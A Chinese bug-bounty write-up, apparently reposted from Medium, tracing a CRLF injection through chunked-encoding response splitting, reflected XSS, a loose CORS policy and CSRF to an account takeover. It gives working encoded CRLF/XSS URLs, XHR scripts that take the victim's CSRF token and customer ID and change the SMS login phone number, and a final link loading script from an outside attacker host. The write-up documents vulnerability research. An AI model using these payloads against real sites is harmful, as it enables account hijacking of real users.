挖洞经验 | 利用CRLF注入实现账户劫持
作者:admin | 时间:2020-8-12 19:38:10 | 分类:黑客技术 隐藏侧边栏展开侧边栏
背景
很多人觉得客户端漏洞有点鸡肋,我之前也是这样认为的。对这种漏洞一般我都不会在上面花费太多心思,无非就是在客户端不断弹出提示框之类的。但是,有时候这些弹出提示框却能大有作为,特别是在一些javascript脚本环境中,可以综合利用形成严重的安全问题。今天,我就来和大家分享,通过不断构造客户端漏洞实现用户账户劫持的实例。
经典的XSS漏洞利用中,总是会设法从本地存储或Cookie内容中去读取受害者的token身份信息,然后通过篡改、利用这些受害者身份信息实现账户劫持。通常来说,可以通过篡改受害者的绑定邮箱或密码来进行账户劫持。
而为了防御一些客户端类攻击,就应运产生了CSRF token。但有时候,在请求中通过传递空token值,或根本不在请求中传递CSRF token,也或是传递其它用户的CSRF token,就有可能绕过这种CSRF token防护机制。反正就是绕过CSRF token的技巧有很多了,可以参考这里还有这里。虽然浏览器安全策略里的Cookie SameSite属性基本都会把一些经典的XSS+CSRF利用杀死,然而,最近随着浏览器策略的调整趋势,也可在其中执行CSRF漏洞利用了。
漏洞测试
在三月初,在测试某个网站的过程中我发现其有一个新功能,该功能允许用户通过短信进行登录。在忘记密码的情况下,这肯定是非常方便的了。所以,我就想在用户账户资料中找找看,是否存在用户手机号码信息,但却一无所获。之后我意识到,手机号码是从指定用户接收短信的手机号码输入框那里被加载的,开发者对此一般不会做太多安全验证。果然,这里的手机号码输入框,除了校验用户与手机号码的匹配关系外,确实没做其它安全措施。
经过构思,我想到了可以通过XSS方式修改用户手机号码,然后以短信登录方式实现用户账户劫持。之后,由于目标站点设置有CORS策略,所以我打算从其子域名入手寻找XSS漏洞。
X-Frame-Options: SAMEORIGIN
Access-Control-Allow-Origin: https://subdomain.redacted.com
Access-Control-Allow-Credentials: true
刚开始我的思路是:XSS -> Misconfigured CORS -> Account takeover。
但测试结果并不如意,我没从子域名站点中发现任何XSS漏洞。一个月后,我接着继续测试分析,还是没任何发现。然后,又过了几个月,我又不死心,接着测试,这一次我发现了形如%0D%0Amyheader:mydata%0D%0A的CRLF注入漏洞,在securitytrails插件帮助下,识别出了目标站点竟然有10个CRLF注入漏洞。(点此参考CRLF注入Payload样式表),我们选取其中一条:
%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e
解码后长这样:
Content-Length:35 X-XSS-Protection:0 23 <svg onload=alert(document.domain)> 0 /..
之后,参考HackerOne的报告,我又作了如下修改:
https://subdomain.redacted.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
解码是这样的:
https://subdomain.redacted.com/? Location: Content-Type:text/html X-XSS-Protection:0 <script>alert(document.domain)</script>
然后利用上述CRLF漏洞成功触发了alert(document.domain)的XSS弹出显示,我是基于Firefox+Burpsuite成功验证的。但是,不用Burpsuite,在单独的Firefox浏览器环境中,XSS却不会成功触发,浏览器返回的错误提示是net::ERR_INVALID_CHUNKED_ENCODING 404 (Not found):
Burp设置没问题啊。后来,我意识到,刚开始当我在做HTTP响应拆分时,直接就做了数据分块。同时,我没有保持其数据一致性,而BurpSuite却仍然把一些“分离”的数据块进行了解析,并组装成一个完整的响应包返回显示,因此,基于Burpsuite拦截模式下的Firefox,经过Forwarding请求转发后就会成功解析XSS:
但是,在单独的Firefox或curl请求下,之前构造的XSS链接返回的却是空响应内容:
在Burpsuite pro版本的Project options->HTTP标签下,有Streaming Response的选项,这是一种流式响应机制。可参考Burp官方说明:
"Strip chunked encoding metadata in streaming — Streaming is generally chunked-encoded over HTTP. If this option is selected, Burp will remove the chunked encoding metadata, making the responses more easily readable within Burp. Note that removing this metadata may break the client-side application, depending on how it is implemented"
(流式响应通常通过HTTP进行分块编码,若选择此选项,为使响应在Burp中更容易阅读,Burp将删除分块的编码元数据,而且请注意,删除的元数据可能会破坏客户端应用程序,具体取决于实现方式)
构造利用
我算是Burpsuite pro的老用户了,但这个功能从没用过,惊讶到我了,感谢blackfan给我的分块编码建议指导。也就是说,我之前把一些元数据删除了,导致客户端应用出错,不能在单独浏览器环境中触发XSS。所以,为了成功触发XSS,我们需要进行一些重新的请求元素添加构造。对数据块的计算也非常重要,而且要把它从十进制换算成十六进制。最终,我在其结尾加上了数据块0,形成一个XSS触发而不用去管多余的响应消息:
https://subdomain.redacted.com/%3f%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A28%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E%0D%0A0%0D%0A%0D%0A
解码后是这样:
https://subdomain.redacted.com/? Content-Type:text/html X-XSS-Protection:0 28 <script>alert(document.domain)</script> 0
咦,但是浏览器端还是不行,返回的错误提示是:
net::ERR_CONTENT_DECODING_FAILED 404 (Not found)
之后,我在其中加上了Content-Encoding: utf-8头,就OK了,XSS的反射回显也成功触发了。
https://subdomain.redacted.com/%3f%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0AContent-Encoding:%20utf-8%0D%0A%0D%0A28%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E%0D%0A0%0D%0A%0D%0A
解码后:
https://subdomain.redacted.com/? Content-Type:text/html X-XSS-Protection:0 Content-Encoding: utf-8 28 <script>alert(document.domain)</script> 0
这个结果我就满意了,接下来我就可以利用XHR POST方式来获取CSRF token信息,或是利用POST请求去更改受害者账户的绑定手机号了。
请求中,我构造的Payload如下:
{“phone_number”: “520–868–1111”, “customerID”:3908211111, “country_calling_code”:”, “country_short_name”: “US”, “source_page”: “sign_up_page”, “_csrf_token”: “53FFF9D84311111D1F2D491111113F6B”}
其中的customerID 和csrf_token参数都是唯一性的用户属性信息。
然后,我们可以用以下构造脚本来在客户端获取customerID 和csrf_token这类型参数:
xhr = new XMLHttpRequest(); xhr.open("GET","https://redacted.com",true); xhr.withCredentials = true; xhr.onreadystatechange = function () { if(xhr.readyState === XMLHttpRequest.DONE){ data = xhr.responseText; re = /"csrfToken":"[A-Z0-9]*"/g; cid = /"customerID":[0-9]*/g; console.log(data.match(re)); console.log(data.match(cid)); } } xhr.send();
上述脚本为获取到相关用户参数值并显示。最终的更改用户手机号码的漏洞利用脚本如下:
function submitRequest(token, customer_id) { var xhr = new XMLHttpRequest(); xhr.open("POST", "https:\/\/www.redacted.com\/a\/sms_subs\/subs", true); xhr.setRequestHeader("Accept", "application\/json"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "application\/json"); xhr.withCredentials = true; var body = "{\"phone_number\":\"319-214-1111\",\"customerID\":" + customer_id + ",\"country_calling_code\":\"\",\"country_short_name\":\"US\",\"source_page\":\"sign_up_page\",\"_csrf_token\":\"" + token + "\"}"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } xhr = new XMLHttpRequest(); xhr.open("GET","https://www.redacted.com",true); xhr.withCredentials = true; xhr.onreadystatechange = function () { if(xhr.readyState === XMLHttpRequest.DONE){ data = xhr.responseText; re = /"csrfToken":"([A-Z0-9]*)"/g; cid = /"customerID":([0-9]*)/g; token = re.exec(data)[1]; customer_id = cid.exec(data)[1]; console.log(token, customer_id); } } xhr.send();
最终成型的利用链接如下:
https://subdomain.redacted.com/%3F%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3A0%0D%0AContent-Encoding:%20utf-8%0D%0A%0D%0A5D%0D%0A%3Cscript%3Edocument.write%28%27%3Cscript%20src%3D%22https%3A%5C%2F%5C%2Fataaker.com%2Fpipdec4.js%22%3E%3C%5C%2Fscript%3E%27%29%3C%2Fscript%3E%0D%0A0%0D%0A%0D%0A
解码后为:
https://subdomain.redacted.com/? Content-Type:text/html X-XSS-Protection:0 Content-Encoding: utf-8 5D <script>document.write('<script src="https:\/\/ataaker.com/pipdec4.js" rel="external nofollow" ><\/script>')</script> 0
受害者打开该链接后,会执行指向 ataaker.com/pipdec4.js 的请求,目的是把受害者的绑定手机号码变为攻击者的手机号码,之后,攻击者就可以以其身份用sms方式登录到目标站点应用中,实现受害者账户劫持。所以,严格意义上来说,最终用到的漏洞利用链即是:CRLF->Chunked transfer encoding->Reflected XSS->CORS->CSRF->Account Takeover。
*参考来源:medium